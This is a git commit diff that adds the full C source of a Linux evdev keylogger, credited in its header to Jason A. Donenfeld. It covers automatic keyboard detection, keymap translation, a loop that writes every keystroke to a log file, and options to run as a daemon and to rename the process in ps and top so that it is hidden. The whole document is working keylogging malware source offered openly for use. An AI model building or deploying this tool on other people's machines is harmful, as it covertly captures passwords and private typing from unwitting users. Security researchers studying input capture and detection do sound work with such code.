diff options
-rw-r--r-- | Makefile | 6 | ||||
-rw-r--r-- | evdev.c | 33 | ||||
-rw-r--r-- | evdev.h | 3 | ||||
-rw-r--r-- | keymap.c | 277 | ||||
-rw-r--r-- | keymap.h | 11 | ||||
-rw-r--r-- | logger.c | 161 | ||||
-rw-r--r-- | process.c | 66 | ||||
-rw-r--r-- | process.h | 2 |
8 files changed, 559 insertions, 0 deletions
diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..a580983 --- /dev/null +++ b/Makefile @@ -0,0 +1,6 @@ +CFLAGS ?= -O3 -march=native -fomit-frame-pointer -pipe + +logger: logger.c keymap.c keymap.h evdev.c evdev.h process.c process.h +clean: + rm -f logger +.PHONY: clean @@ -0,0 +1,33 @@ +#include <string.h> +#include <stdio.h> +#include <unistd.h> +#include <sys/syscall.h> +#include "evdev.h" + +int find_default_keyboard(char *buffer, size_t buffer_len) +{ + FILE *devices; + char events[128]; + char handlers[128]; + char *event; + int i; + + devices = fopen("/proc/bus/input/devices", "r"); + if (!devices) { + perror("fopen"); + return -1; + } + while (fgets(events, sizeof(events), devices)) { + if (strstr(events, "H: Handlers=") == events) + strcpy(handlers, events); + else if (!strcmp(events, "B: EV=120013\n") && (event = strstr(handlers, "event"))) { + for (i = 0, event += sizeof("event") - 1; *event && isdigit(*event); ++event, ++i) + handlers[i] = *event; + handlers[i] = '\0'; + fclose(devices); + return snprintf(buffer, buffer_len, "/dev/input/event%s", handlers); + } + } + fclose(devices); + return -1; +} @@ -0,0 +1,3 @@ +#include <sys/types.h> + +int find_default_keyboard(char *buffer, size_t buffer_len); diff --git a/keymap.c b/keymap.c new file mode 100644 index 0000000..34d492e --- /dev/null +++ b/keymap.c @@ -0,0 +1,277 @@ +#include <stdio.h> +#include <string.h> +#include <wchar.h> +#include <wctype.h> +#include <assert.h> +#include <linux/input.h> + +#include "keymap.h" + +/* Mysteriously missing defines from <linux/input.h>. */ +#define EV_MAKE 1 +#define EV_BREAK 0 +#define EV_REPEAT 2 + +/* Default US keymap */ +static wchar_t char_keys[49] = L"1234567890-=qwertyuiop[]asdfghjkl;'`\\zxcvbnm,./<"; +static wchar_t shift_keys[49] = L"!@#$%^&*()_+QWERTYUIOP{}ASDFGHJKL:\"~|ZXCVBNM<>?>"; +static wchar_t altgr_keys[49] = {0}; + +static wchar_t func_keys[][8] = { + L"<Esc>", L"<BckSp>", L"<Tab>", L"<Enter>", L"<LCtrl>", L"<LShft>", + L"<RShft>", L"<KP*>", L"<LAlt>", L" ", L"<CpsLk>", L"<F1>", L"<F2>", + L"<F3>", L"<F4>", L"<F5>", L"<F6>", L"<F7>", L"<F8>", L"<F9>", L"<F10>", + L"<NumLk>", L"<ScrLk>", L"<KP7>", L"<KP8>", L"<KP9>", L"<KP->", L"<KP4>", + L"<KP5>", L"<KP6>", L"<KP+>", L"<KP1>", L"<KP2>", L"<KP3>", L"<KP0>", + L"<KP.>", /*"<",*/ L"<F11>", L"<F12>", L"<KPEnt>", L"<RCtrl>", L"<KP/>", + L"<PrtSc>", L"<AltGr>", L"<Break>" /*linefeed?*/, L"<Home>", L"<Up>", + L"<PgUp>", L"<Left>", L"<Right>", L"<End>", L"<Down>", L"<PgDn>", + L"<Ins>", L"<Del>", L"<Pause>", L"<LMeta>", L"<RMeta>", L"<Menu>" +}; + +/* c = character key + * f = function key + * _ = blank/error + * + * Source: KEY_* defines from <linux/input.h> + */ +static const char char_or_func[] = + "_fccccccccccccff" + "ccccccccccccffcc" + "ccccccccccfccccc" + "ccccccffffffffff" + "ffffffffffffffff" + "ffff__cff_______" + "ffffffffffffffff" + "_______f_____fff"; + +static int is_char_key(unsigned int code) +{ + assert(code < sizeof(char_or_func)); + return char_or_func[code] == 'c'; +} +static int is_func_key(unsigned int code) +{ + assert(code < sizeof(char_or_func)); + return char_or_func[code] == 'f'; +} +static int is_used_key(unsigned int code) +{ + assert(code < sizeof(char_or_func)); + return char_or_func[code] != '_'; +} + +/* Translates character keycodes to continuous array indexes. */ +static int to_char_keys_index(unsigned int keycode) +{ + if (keycode >= KEY_1 && keycode <= KEY_EQUAL) // keycodes 2-13: US keyboard: 1, 2, ..., 0, -, = + return keycode - 2; + if (keycode >= KEY_Q && keycode <= KEY_RIGHTBRACE) // keycodes 16-27: q, w, ..., [, ] + return keycode - 4; + if (keycode >= KEY_A && keycode <= KEY_GRAVE) // keycodes 30-41: a, s, ..., ', ` + return keycode - 6; + if (keycode >= KEY_BACKSLASH && keycode <= KEY_SLASH) // keycodes 43-53: \, z, ..., ., / + return keycode - 7; + if (keycode == KEY_102ND) // key right to the left of 'Z' on US layout + return 47; + + return -1; // not character keycode +} +/* Translates function keys keycodes to continuous array indexes. */ +static int to_func_keys_index(unsigned int keycode) +{ + if (keycode == KEY_ESC) // 1 + return 0; + if (keycode >= KEY_BACKSPACE && keycode <= KEY_TAB) // 14-15 + return keycode - 13; + if (keycode >= KEY_ENTER && keycode <= KEY_LEFTCTRL) // 28-29 + return keycode - 25; + if (keycode == KEY_LEFTSHIFT) // 42 + return keycode - 37; + if (keycode >= KEY_RIGHTSHIFT && keycode <= KEY_KPDOT) // 54-83 + return keycode - 48; + if (keycode >= KEY_F11 && keycode <= KEY_F12) // 87-88 + return keycode - 51; + if (keycode >= KEY_KPENTER && keycode <= KEY_DELETE) // 96-111 + return keycode - 58; + if (keycode == KEY_PAUSE) // 119 + return keycode - 65; + if (keycode >= KEY_LEFTMETA && keycode <= KEY_COMPOSE) // 125-127 + return keycode - 70; + + return -1; // not function key keycode +} + +/* Translates struct input_event *event into the string of size buffer_length + * pointed to by buffer. Stores state originating from sequence of event structs + * in struc input_event_state *state. Returns the number of bytes written to buffer. + */ +size_t translate_event(struct input_event *event, struct input_event_state *state, char *buffer, size_t buffer_len) +{ + wchar_t wch, *wbuffer; + size_t wbuffer_len, len; + + len = 0; + wbuffer = (wchar_t*)buffer; + wbuffer_len = buffer_len / sizeof(wchar_t); + + if (event->type != EV_KEY) + goto out; + + if (event->code >= sizeof(char_or_func)) { + len += swprintf(&wbuffer[len], wbuffer_len, L"<E-%x>", event->code); + goto out; + } + + if (event->value == EV_MAKE || event->value == EV_REPEAT) { + if (event->code == KEY_LEFTSHIFT || event->code == KEY_RIGHTSHIFT) { + state->shift = 1; + goto out; + } else if (event->code == KEY_RIGHTALT) { + state->altgr = 1; + goto out; + } else if (event->code == KEY_LEFTALT) { + state->alt = 1; + goto out; + } else if (event->code == KEY_LEFTCTRL || event->code == KEY_RIGHTCTRL) { + state->ctrl = 1; + goto out; + } else if (event->code == KEY_LEFTMETA || event->code == KEY_RIGHTMETA) { + state->meta = 1; + goto out; + } else { + if (state->ctrl && state->alt && state->meta) + len += swprintf(&wbuffer[len], wbuffer_len, L"<CTRL,ALT,META>+"); + else if (state->ctrl && state->alt) + len += swprintf(&wbuffer[len], wbuffer_len, L"<CTRL,ALT>+"); + else if (state->alt && state->meta) + len += swprintf(&wbuffer[len], wbuffer_len, L"<ALT,META>+"); + else if (state->ctrl && state->meta) + len += swprintf(&wbuffer[len], wbuffer_len, L"<CTRL,META>+"); + else if (state->meta) + len += swprintf(&wbuffer[len], wbuffer_len, L"<META>+"); + else if (state->ctrl) + len += swprintf(&wbuffer[len], wbuffer_len, L"<CTRL>+"); + else if (state->alt) + len += swprintf(&wbuffer[len], wbuffer_len, L"<ALT>+"); + } + if (is_char_key(event->code)) { + if (state->altgr) { + wch = altgr_keys[to_char_keys_index(event->code)]; + if (wch == L'\0') { + if (state->shift) + wch = shift_keys[to_char_keys_index(event->code)]; + else + wch = char_keys[to_char_keys_index(event->code)]; + } + } + else if (state->shift) { + wch = shift_keys[to_char_keys_index(event->code)]; + if (wch == L'\0') + wch = char_keys[to_char_keys_index(event->code)]; + } + else + wch = char_keys[to_char_keys_index(event->code)]; + + if (wch != L'\0') { + len += swprintf(&wbuffer[len], wbuffer_len, L"%lc", wch); + goto out; + } + } + else if (is_func_key(event->code)) { + len += swprintf(&wbuffer[len], wbuffer_len, L"%ls", func_keys[to_func_keys_index(event->code)]); + goto out; + } + else { + len += swprintf(&wbuffer[len], wbuffer_len, L"<E-%x>", event->code); + goto out; + } + } + if (event->value == EV_BREAK) { + if (event->code == KEY_LEFTSHIFT || event->code == KEY_RIGHTSHIFT) + state->shift = 0; + else if (event->code == KEY_RIGHTALT) + state->altgr = 0; + else if (event->code == KEY_LEFTALT) + state->alt = 0; + else if (event->code == KEY_LEFTCTRL || event->code == KEY_RIGHTCTRL) + state->ctrl = 0; + else if (event->code == KEY_LEFTMETA || event->code == KEY_RIGHTMETA) + state->meta = 0; + } + +out: + if (!len) + *buffer = 0; + else + wcstombs(buffer, wbuffer, buffer_len); + return len; +} + +/* Determines the system keymap via the dump keys program + * and some disgusting parsing of it. */ +int load_system_keymap() +{ + FILE *dumpkeys; + char buffer[256]; + char *start, *end; + unsigned int keycode; + int index; + wchar_t wch; + /* HACK: This is obscenely ugly, and we should really just do this in C... */ + dumpkeys = popen("/usr/bin/dumpkeys -n | /bin/grep '^\\([[:space:]]shift[[:space:]]\\)*\\([[:space:]]altgr[[:space:]]\\)*keycode' | /bin/sed 's/U+/0x/g' 2>&1", "r"); + if (!dumpkeys) { + perror("popen"); + return 1; + } + memset(char_keys, 0, sizeof(char_keys)); + memset(shift_keys, 0, sizeof(shift_keys)); + memset(altgr_keys, 0, sizeof(altgr_keys)); + for (keycode = 1; fgets(buffer, sizeof(buffer), dumpkeys) + && keycode < sizeof(char_or_func); ++keycode) { + if (!is_char_key(keycode)) + continue; + if (buffer[0] == 'k') { + index = to_char_keys_index(keycode); + + start = &buffer[14]; + wch = (wchar_t)strtoul(start, &end, 16); + if (start[0] == '+' && (wch & 0xB00)) + wch ^= 0xB00; + char_keys[index] = wch; + + start = end; + while (start[0] == ' ' && start[0] != '\0') + ++start; + wch = (wchar_t)strtoul(start, &end, 16); + if (start[0] == '+' && (wch & 0xB00)) + wch ^= 0xB00; + if (wch == L'\0') { + wch = towupper(char_keys[index]); + if (wch == char_keys[index]) + wch = L'\0'; + } + shift_keys[index] = wch; + + start = end; + while (start[0] == ' ' && start[0] != '\0') + ++start; + wch = (wchar_t)strtoul(start, &end, 16); + if (start[0] == '+' && (wch & 0xB00)) + wch ^= 0xB00; + altgr_keys[index] = wch; + } else { + index = to_char_keys_index(keycode == 0 ? 0 : --keycode); + wch = (wchar_t)strtoul(&buffer[21], NULL, 16); + if (buffer[21] == '+' && (wch & 0xB00)) + wch ^= 0xB00; + if (buffer[1] == 's') + shift_keys[index] = wch; + else if (buffer[1] == 'a') + altgr_keys[index] = wch; + } + } + pclose(dumpkeys); + return 0; + +} diff --git a/keymap.h b/keymap.h new file mode 100644 index 0000000..0e3bbc3 --- /dev/null +++ b/keymap.h @@ -0,0 +1,11 @@ +#include <linux/input.h> + +struct input_event_state { + int altgr:1; + int alt:1; + int shift:1; + int ctrl:1; + int meta:1; +}; +size_t translate_event(struct input_event *event, struct input_event_state *state, char *buffer, size_t buffer_len); +int load_system_keymap(); diff --git a/logger.c b/logger.c new file mode 100644 index 0000000..7bebe65 --- /dev/null +++ b/logger.c @@ -0,0 +1,161 @@ +/* + * logger.c + * + * Copyright 2012 Jason A. Donenfeld <Jason@zx2c4.com>. All Rights Reserved. + * + * Logs keys with evdev. + * + * + * TODO: + * - Get delay time between key key repeat from X server. + * + */ + +#include <stdlib.h> +#include <string.h> +#include <stdio.h> +#include <unistd.h> +#include <fcntl.h> +#include <getopt.h> +#include "keymap.h" +#include "evdev.h" +#include "process.h" + + +int main(int argc, char *argv[]) +{ + char buffer[256]; + char event_device[256]; + char *log_file, *pid_file, *process_name, option; + int evdev_fd, daemonize, force_us_keymap, option_index; + FILE *log, *pid; + struct input_event ev; + struct input_event_state state; + + static struct option long_options[] = { + {"daemonize", no_argument, NULL, 'd'}, + {"foreground", no_argument, NULL, 'f'}, + {"force-us-keymap", no_argument, NULL, 'u'}, + {"event-device", required_argument, NULL, 'e'}, + {"log-file", required_argument, NULL, 'l'}, + {"pid-file", required_argument, NULL, 'p'}, + {"process-name", required_argument, NULL, 'n'}, + {"help", no_argument, NULL, 'h'}, + {0, 0, 0, 0} + }; + + strcpy(event_device, "auto"); + log_file = 0; + log = stdout; + pid_file = 0; + process_name = 0; + daemonize = 0; + force_us_keymap = 0; + + close(STDIN_FILENO); + + while ((option = getopt_long(argc, argv, "dfue:l:p:n:h", long_options, &option_index)) != -1) { + switch (option) { + case 'd': + daemonize = 1; + break; + case 'f': + daemonize = 0; + break; + case 'u': + force_us_keymap = 1; + break; + case 'e': + strncpy(event_device, optarg, sizeof(event_device)); + break; + case 'l': + log_file = optarg; + break; + case 'p': + pid_file = optarg; + break; + case 'n': + process_name = optarg; + break; + case 'h': + case '?': + default: + fprintf(stderr, "Evdev Keylogger by zx2c4\n\n"); + fprintf(stderr, "Usage: %s [OPTION]...\n", argv[0]); + fprintf(stderr, " -d, --daemonize run as a background daemon\n"); + fprintf(stderr, " -f, --foreground run in the foreground (default)\n"); + fprintf(stderr, " -u, --force-us-keymap instead of auto-detection, force usage of built-in US keymap\n"); + fprintf(stderr, " -e DEVICE, --event-device=DEVICE use event device DEVICE (default=auto-detect)\n"); + fprintf(stderr, " -l FILE, --log-file=FILE write key log to FILE (default=stdout)\n"); + fprintf(stderr, " -p FILE, --pid-file=FILE write the pid of the process to FILE\n"); + fprintf(stderr, " -n NAME, --process-name=NAME change process name in ps and top to NAME\n"); + fprintf(stderr, " -h, --help display this message\n"); + return option == 'h' ? EXIT_SUCCESS : EXIT_FAILURE; + } + } + + if (!strcmp(event_device, "auto")) { + if (find_default_keyboard(event_device, sizeof(event_device)) == -1) { + fprintf(stderr, "Could not find default event device.\nTry passing it manually with --event-device.\n"); + return EXIT_FAILURE; + } + } + if (log_file && strlen(log_file) != 1 && log_file[0] != '-' && log_file[1] != '\0') { + if (!(log = fopen(log_file, "w"))) { + perror("fopen"); + return EXIT_FAILURE; + } + close(STDOUT_FILENO); + } + + if ((evdev_fd = open(event_device, O_RDONLY | O_NOCTTY)) < 0) { + perror("open"); + fprintf(stderr, "Perhaps try running this program as root.\n"); + return EXIT_FAILURE; + } + + if (!force_us_keymap) { + if (load_system_keymap()) + fprintf(stderr, "Failed to load system keymap. Falling back onto built-in US keymap.\n"); + } + if (pid_file) { + pid = fopen(pid_file, "w"); + if (!pid) { + perror("fopen"); + return EXIT_FAILURE; + } + } + if (daemonize) { + if (daemon(0, 1) < 0) { + perror("daemon"); + return EXIT_FAILURE; + } + } + if (pid_file) { + if (fprintf(pid, "%d\n", getpid()) < 0) { + perror("fprintf"); + return EXIT_FAILURE; + } + fclose(pid); + } + + /* DO NOT REMOVE ME! */ + drop_privileges(); + + if (process_name) + set_process_name(process_name, argc, argv); + + memset(&state, 0, sizeof(state)); + while (read(evdev_fd, &ev, sizeof(ev)) > 0) { + if (translate_event(&ev, &state, buffer, sizeof(buffer)) > 0) { + fprintf(log, "%s", buffer); + fflush(log); + } + } + + fclose(log); + close(evdev_fd); + + perror("read"); + return EXIT_FAILURE; +} diff --git a/process.c b/process.c new file mode 100644 index 0000000..8303d01 --- /dev/null +++ b/process.c @@ -0,0 +1,66 @@ +#include <stdlib.h> +#include <stdio.h> +#include <string.h> +#include <unistd.h> +#include <pwd.h> +#include <sys/resource.h> +#include <sys/prctl.h> +#include "process.h" + +void drop_privileges() +{ + struct passwd *user; + struct rlimit limit; + + if (!geteuid()) { + user = getpwnam("nobody"); + if (!user) { + perror("getpwnam"); + exit(EXIT_FAILURE); + } + if (chroot("/var/empty")) { + perror("chroot"); + exit(EXIT_FAILURE); + } + if (chdir("/")) { + perror("chdir"); + exit(EXIT_FAILURE); + } + if (setresgid(user->pw_gid, user->pw_gid, user->pw_gid)) { + perror("setresgid"); + exit(EXIT_FAILURE); + } + if (setgroups(1, &user->pw_gid)) { + perror("setgroups"); + exit(EXIT_FAILURE); + } + if (setresuid(user->pw_uid, user->pw_uid, user->pw_uid)) { + perror("setresuid"); + exit(EXIT_FAILURE); + } + } + limit.rlim_cur = limit.rlim_max = 8192; + setrlimit(RLIMIT_DATA, &limit); + setrlimit(RLIMIT_MEMLOCK, &limit); + setrlimit(RLIMIT_AS, &limit); + setrlimit(RLIMIT_STACK, &limit); + limit.rlim_cur = limit.rlim_max = 0; + setrlimit(RLIMIT_CORE, &limit); + setrlimit(RLIMIT_NPROC, &limit); + if (!geteuid() || !getegid()) { + fprintf(stderr, "Mysteriously still running as root... Goodbye.\n"); + exit(EXIT_FAILURE); + } +} + +void set_process_name(const char *name, int argc, char *argv[]) +{ + char *start, *end; + + prctl(PR_SET_NAME, name); + end = argv[argc - 1] + strlen(argv[argc - 1]); + strcpy(argv[0], name); + start = argv[0] + strlen(argv[0]); + while (start < end) + *(start++) = '\0'; +} diff --git a/process.h b/process.h new file mode 100644 index 0000000..f721a16 --- /dev/null +++ b/process.h @@ -0,0 +1,2 @@ +void drop_privileges(); +void set_process_name(const char *name, int argc, char *argv[]); |